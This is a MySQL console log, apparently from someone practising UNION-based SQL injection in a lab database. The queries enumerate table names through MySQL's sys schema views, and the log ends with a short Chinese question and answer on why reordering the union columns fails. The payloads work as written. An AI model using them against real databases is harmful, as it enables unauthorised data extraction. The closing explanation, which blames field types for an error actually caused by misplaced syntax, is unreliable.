ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2,3' at line 1
mysql> select * from users where id =-1 union select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database();
+----+----------+-------------------------------+
| id | username | password |
+----+----------+-------------------------------+
| 1 | 2 | users,emails,referers,uagents |
+----+----------+-------------------------------+
1 row in set (0.19 sec)
mysql> select * from users where id=-1 union select 2, group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database(),3;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '3' at line 1
mysql> select * from users where id=-1 union select 2,3, group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database();
+----+----------+-------------------------------+
| id | username | password |
+----+----------+-------------------------------+
| 2 | 3 | emails,referers,uagents,users |
+----+----------+-------------------------------+
1 row in set (0.01 sec)
mysql> select * from users where id=-1 union select 2,3,(table_name) from sys.schema_auto_increment_columns where table_schema=database();
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 2 | 3 | emails |
| 2 | 3 | referers |
| 2 | 3 | uagents |
| 2 | 3 | users |
+----+----------+----------+
4 rows in set (0.01 sec)
select * from users where id=-1 union select 2,3,(table_name) from sys.schema_auto_increment_columns where table_schema=database();
2 代表红 3代表黑,蓝色代表(table_name) from sys.schema_auto_increment_columns where table_schema=database()
问题:为什么红、蓝、黑调换位置,语法报错
解答:因为他们的字段类型不同